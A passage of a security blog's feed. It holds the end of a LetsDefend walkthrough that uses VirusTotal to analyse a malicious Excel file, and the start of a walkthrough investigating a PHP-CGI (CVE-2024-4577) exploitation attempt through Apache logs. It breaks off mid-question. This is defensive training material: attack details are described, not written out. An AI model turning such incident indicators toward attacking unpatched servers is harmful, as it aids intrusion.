src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/58bfe6aaa2ce13b15aed9a0caa8095be_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813/detection&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813/detection&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1939px&#34; data-flex-grow=&#34;808&#34; height=&#34;99&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/d505e480f3abf11c82a98a357410b138_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-how-many-files-are-dropped-on-thedisk&#34;&gt;Question 3: How many files are dropped on the disk?&#xA;&lt;/h3&gt;&lt;p&gt;Continuing our analysis, let&amp;rsquo;s determine how many files are dropped on the disk once the malware is executed. We can locate this information on the &lt;strong&gt;Behavior&lt;/strong&gt; tab, scrolling down to the &lt;strong&gt;Files Dropped&lt;/strong&gt; section, and counting the entries.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;429px&#34; data-flex-grow=&#34;178&#34; height=&#34;447&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/2e2b4166153c67f51eeb5b00eaf92e29_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813/behavior&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813/behavior&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2086px&#34; data-flex-grow=&#34;869&#34; height=&#34;92&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/949cf6eecdea37855d39e6138f845e46_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-what-is-the-sha-256-hash-of-the-file-with-emf-extension-itdrops&#34;&gt;Question 4: What is the sha-256 hash of the file with emf extension it drops?&#xA;&lt;/h3&gt;&lt;p&gt;Expanding on the information we collected in the last question; we need to locate a dropped file with the &lt;code&gt;.emf&lt;/code&gt; extension. Once we&amp;rsquo;ve found it, press the &lt;code&gt;+&lt;/code&gt; button to expand the selection, revealing the SHA256 hash of the dropped file.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1443px&#34; data-flex-grow=&#34;601&#34; height=&#34;133&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/dc3f0c4108cf3674abfd6093499d5731_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2109px&#34; data-flex-grow=&#34;879&#34; height=&#34;91&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/9487c915a7e8cc480c132d0102a3a6ca_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-exact-url-to-which-the-relevant-file-goes-to-downloadspyware&#34;&gt;Question 5: What is the exact url to which the relevant file goes to download spyware?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve made it to the final question! There are several spots within &lt;strong&gt;VirusTotal&lt;/strong&gt; where we can determine the network communication but for this walkthrough, let&amp;rsquo;s use the &lt;strong&gt;Relations&lt;/strong&gt; tab and focus on the &lt;strong&gt;Contacted URLs&lt;/strong&gt; section.&lt;/p&gt;&#xA;&lt;p&gt;Of the two URLs, we can see that one of them is hosting an executable file. That&amp;rsquo;s pretty suspicious&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;510px&#34; data-flex-grow=&#34;212&#34; height=&#34;376&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/9749ab9b656e3aebcdcd41b708645c64_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813/relations&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/file/7bcd31bd41686c32663c7cabf42b18c50399e3b3b4533fc2ff002d9f2e058813/relations&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Clicking the URL entry will take us to the &lt;strong&gt;VirusTotal&lt;/strong&gt; page for the URL where we can see that several vendors have identified it as malicious. I think we&amp;rsquo;ve found the answer to &lt;strong&gt;Question 5!&lt;/strong&gt; Now let&amp;rsquo;s wrap up this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1103px&#34; data-flex-grow=&#34;459&#34; height=&#34;174&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/104a0d3769674d58cbaa35e06863c7ef_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/gui/url/ef74a71ba69605f7e6b528e74876ca52fa0b120b9e4850f7ec08871675ad9c49&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/gui/url/ef74a71ba69605f7e6b528e74876ca52fa0b120b9e4850f7ec08871675ad9c49&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1920px&#34; data-flex-grow=&#34;800&#34; height=&#34;100&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/c79dacca99f1304d720bb1652745e02d_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;341px&#34; data-flex-grow=&#34;142&#34; height=&#34;371&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/90284131e0147c7b34e647ff54eaed83_MD5.png&#34; width=&#34;528&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Mission accomplished! By leveraging the power of &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;VirusTotal&lt;/strong&gt;&lt;/a&gt;, we successfully analyzed the malicious Excel file and learned about some of its behavior, including creation time, dropped files, and second stage URL. Now that we&amp;rsquo;ve completed our objectives, let&amp;rsquo;s close out this walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/remote-working&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Remote Working&lt;/strong&gt;&lt;/a&gt; challenge.&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, for the fun lab. While this challenge isn&amp;rsquo;t especially difficult, it&amp;rsquo;s good hands-on practice using &lt;strong&gt;VirusTotal&lt;/strong&gt; and exploring some of its lesser-used features. These types of challenges would have been especially useful earlier in my own security journey to better understand what tools were available with practical applications to test with. I hope that this challenge helped pique your interest in using &lt;strong&gt;VirusTotal&lt;/strong&gt; in your own workflow!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and for going through this investigation with me. Remember, if you found this walkthrough helpful don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt;! Your feedback really is invaluable and helps fuel my commitment to support your journey in the security community. Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-remote-working-challenge-walkthrough/07670987b1c64247f60a1576b9626235_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Microsoft Support — File formats that are supported in Excel:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://support.microsoft.com/en-us/office/file-formats-that-are-supported-in-excel-0943ff2c-6014-4e8d-aaea-b83d51d46247&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://support.microsoft.com/en-us/office/file-formats-that-are-supported-in-excel-0943ff2c-6014-4e8d-aaea-b83d51d46247&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — PHP-CGI (CVE-2024–4577) Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/</link>
            <pubDate>Mon, 27 Jan 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — PHP-CGI (CVE-2024–4577) Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--php-cgi-cve-20244577-challenge-walkthrough&#34;&gt;LetsDefend — PHP-CGI (CVE-2024€“4577) Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-web-server-exploitation-attempt-using-apache--php-logs-notepad-and-the-windows-prefetch&#34;&gt;Investigating a web server exploitation attempt using Apache &amp;amp; PHP logs, Notepad++, and the Windows Prefetch.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;366&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/b0f75b57a683cc8fea309bad944c1c7a_MD5.png&#34; width=&#34;700&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Welcome to my weekly walkthrough!&lt;/strong&gt; If you&amp;rsquo;ve stumbled across this blog searching for a comprehensive walkthrough of the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/php-cgi-CVE-2024-4577&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;PHP-CGI (CVE-2024€“4577)&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place.&lt;/p&gt;&#xA;&lt;p&gt;In this scenario, we&amp;rsquo;re jumping into the shoes of a security analyst to investigate an exploitation attempt against a critical web server. Our objective is to analyze the provided artifacts and determine which vulnerability the attacker attempted to exploit. To perform the investigation, we&amp;rsquo;ll navigate through several logs, including the Apache HTTP server logs, PHP logs, and Windows Prefetch files. The indicators of compromise found in these logs will help us ultimately identify the vulnerability (CVE) used in the attack. Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/php-cgi-CVE-2024-4577&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/php-cgi-CVE-2024-4577&lt;/a&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;strong&gt;You will confront an attempted exploitation of a newly discovered and unpatched vulnerability (CVE-2024-XXXX) in a critical software component within your organization&amp;rsquo;s infrastructure. The CVE allows for remote code execution, posing a significant threat if successfully exploited. At 12:05 PM UTC, an alert is generated by the Intrusion Detection System (IDS) and Intrusion Prevention System (IPS), indicating an attack on one of your web servers. Your task is to analyze the provided artifacts, confirm the exploitation attempt, and answer the provided questions.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-version-of-php-was-running-on-the-server-during-the-incident&#34;&gt;Question 1: What version of PHP was running on the server during the incident?&#xA;&lt;/h3&gt;&lt;p&gt;Despite the title spoiling some of the mystery, let&amp;rsquo;s approach this challenge without any additional background about the vulnerability so that we can perform the investigation using the available artifacts. To get started, extract the artifacts from &lt;code&gt;artifacts.7z&lt;/code&gt; within the &lt;code&gt;ChallengeFile&lt;/code&gt; folder.&lt;/p&gt;&#xA;&lt;p&gt;Inside, we&amp;rsquo;ll find three folders that give us an idea of what artifacts are available for analysis:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;642px&#34; data-flex-grow=&#34;267&#34; height=&#34;299&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/47435a0f1e5094bcaa2072b97bdb2339_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Apache24:&lt;/strong&gt; This folder contains the files related to the &lt;strong&gt;Apache&lt;/strong&gt; &lt;strong&gt;HTTP Web Server&lt;/strong&gt;, including configuration files.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;php:&lt;/strong&gt; This folder holds the &lt;strong&gt;PHP&lt;/strong&gt; runtime and its associated files and resources, including the executables, configuration files, logs, and temp files.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;prefetch:&lt;/strong&gt; Prefetch files are used in &lt;strong&gt;Windows&lt;/strong&gt; to speed up the loading of applications. These files contain information about the applications that have been run, including their execution history, file paths, and timestamps.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;We&amp;rsquo;ll explore each of these folders during our investigation, but let&amp;rsquo;s start with the &lt;code&gt;php&lt;/code&gt; folder since we&amp;rsquo;re searching for the running &lt;strong&gt;PHP&lt;/strong&gt; version. But first, some background about &lt;strong&gt;PHP&lt;/strong&gt; from the &lt;a class=&#34;link&#34; href=&#34;https://www.php.net/manual/en/introduction.php&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;PHP manual&lt;/strong&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;PHP (recursive acronym for &lt;em&gt;PHP: Hypertext Preprocessor&lt;/em&gt;) is a widely-used open source general-purpose scripting language that is especially suited for web development and can be embedded into HTML.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Instead of lots of commands to output HTML (as seen in C or Perl), PHP pages contain HTML with embedded code that does something&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;With that context, let&amp;rsquo;s start our search by locating any plaintext logs. We&amp;rsquo;ll stumble across &lt;code&gt;snapshots.txt&lt;/code&gt; in the root folder &lt;strong&gt;—&lt;/strong&gt; let&amp;rsquo;s see what&amp;rsquo;s inside by opening the file with &lt;strong&gt;Notepad++&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;936px&#34; data-flex-grow=&#34;390&#34; height=&#34;205&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/63f8200ffe3dff29127318bdd7cdc1d6_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Right at the top, we see some snapshot information that contains the version number of &lt;strong&gt;PHP&lt;/strong&gt;. It seems like we&amp;rsquo;re on the right track, but let&amp;rsquo;s go a step further and verify by executing &lt;code&gt;php.exe&lt;/code&gt; since we have it available, passing the &lt;code&gt;-v&lt;/code&gt; parameter. To do this, open the &lt;strong&gt;Windows Command Prompt&lt;/strong&gt; and run the following command from the php directory:&lt;/p&gt;&#xA;&lt;p&gt;php.exe -v&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1361px&#34; data-flex-grow=&#34;567&#34; height=&#34;141&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/75a04ea9c1cb46bfa349703da148bfaa_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This double-confirms our earlier finding that the PHP version is &lt;strong&gt;8.2.19&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1979px&#34; data-flex-grow=&#34;824&#34; height=&#34;97&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/e34e6800d022e908fe6a646b3d041b91_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-when-php-is-configured-to-run-as-cgi-which-directive-in-httpdconf-specifies-the-scripts-that-handle-requests-for-phpfiles&#34;&gt;Question 2: When PHP is configured to run as CGI, which directive in httpd.conf specifies the scripts that handle requests for PHP files?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 2&lt;/strong&gt;, we first need to locate the &lt;code&gt;httpd.conf&lt;/code&gt; file. Searching the artifacts folder for &lt;code&gt;httpd.conf&lt;/code&gt; , we&amp;rsquo;ll discover that it&amp;rsquo;s located in the &lt;strong&gt;Apache24 &amp;gt; conf&lt;/strong&gt; folder. According to the &lt;a class=&#34;link&#34; href=&#34;https://httpd.apache.org/docs/2.4/configuring.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Apache&lt;/strong&gt; documentation&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Apache HTTP Server is configured by placing &lt;a class=&#34;link&#34; href=&#34;https://httpd.apache.org/docs/2.4/mod/directives.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;directives&lt;/a&gt; in plain text configuration files. The main configuration file is usually called &lt;code&gt;httpd.conf&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;640px&#34; data-flex-grow=&#34;266&#34; height=&#34;300&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/dfd14c12aa74576c2ad70467cb22749a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s open the file in &lt;strong&gt;Notepad++&lt;/strong&gt; and search for &lt;code&gt;php-cgi.exe&lt;/code&gt; to help us locate the correct directive.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;328px&#34; data-flex-grow=&#34;136&#34; height=&#34;584&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/c811f0988339ea3a59da969679512c99_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The search takes us directly to the line above. Notice the &lt;code&gt;Action&lt;/code&gt; directive? Remember the question is asking us to find the &amp;quot; # &amp;ldquo;directive in httpd.conf specifies the scripts that handle requests for PHP file&amp;rdquo;— let&amp;rsquo;s do some research in the &lt;a class=&#34;link&#34; href=&#34;https://httpd.apache.org/docs/2.4/mod/mod_actions.html#action&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Apache&lt;/strong&gt;&lt;/a&gt; docs to learn more about this directive.&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;The &lt;code&gt;[Action](https://httpd.apache.org/docs/2.4/mod/mod_actions.html#action)&lt;/code&gt; directive lets you run CGI scripts whenever a file of a certain &lt;a class=&#34;link&#34; href=&#34;https://httpd.apache.org/docs/2.4/glossary.html#mime-type&#34;  title=&#34;see glossary&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;MIME content type&lt;/a&gt; is requested. The &lt;code&gt;[Script](https://httpd.apache.org/docs/2.4/mod/mod_actions.html#script)&lt;/code&gt; directive lets you run CGI scripts whenever a particular method is used in a request. This makes it much easier to execute scripts that process files.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;This directive fits what we&amp;rsquo;re looking for!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1920px&#34; data-flex-grow=&#34;800&#34; height=&#34;100&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/b135a40cd864c7fdcd0b3df1e24e5991_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-is-the-ip-address-of-the-attacker-who-attempted-to-exploit-ourserver&#34;&gt;Question 3: What is the IP address of the attacker who attempted to exploit our server?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 3&lt;/strong&gt;, we&amp;rsquo;ll need to pivot to another artifact: the &lt;code&gt;access.log&lt;/code&gt; file within the &lt;code&gt;Apache24 &amp;gt; logs&lt;/code&gt; folder.&lt;/p&gt;&#xA;&lt;p&gt;After a cursory scan of the logs, we&amp;rsquo;ll observe several IP addresses in the log entries. However, compared to the others, one of them is making some strange requests. Notice the odd parameters included with the &lt;strong&gt;HTTP POST&lt;/strong&gt; requests to &lt;code&gt;/upload.php&lt;/code&gt; from &lt;code&gt;192.168.110.1&lt;/code&gt;&amp;hellip;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;329px&#34; data-flex-grow=&#34;137&#34; height=&#34;583&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/1eb4ba4b74cf5bd19bc25d1acd65a014_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;2021px&#34; data-flex-grow=&#34;842&#34; height=&#34;95&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/4ef521f4d305abd3fb7a61e733dc26e8_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-the-attacker-targeted-a-specific-page-on-the-server-with-malicious-payloads-which-page-did-the-attacker-target-with-malicious-payloads&#34;&gt;Question 4: The attacker targeted a specific page on the server with malicious payloads. Which page did the attacker target with malicious payloads?&#xA;&lt;/h3&gt;&lt;p&gt;Oh, awesome! The method that we used to discover the attacker&amp;rsquo;s IP address already provided us with the answer to &lt;strong&gt;Question 4&lt;/strong&gt;!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1939px&#34; data-flex-grow=&#34;808&#34; height=&#34;99&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-phpcgi-cve20244577-challenge-walkthrough/ceab5adea034067e194d4c61cd9bfced_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-version-of-apache-is-running-on-theserver&#34;&gt;Question 5: What version of Apache is running on the server?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s move onto the other artifacts within the &lt;code&gt;Apache24 &amp;gt; logs&lt;/code&gt; folder since the version information isn&amp;rsquo;t available in &lt;code&gt;access.log&lt;/code&gt; . This time, we&amp;rsquo;ll check the &lt;code&gt;error.log&lt;/code&gt; to see what information we can find.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img 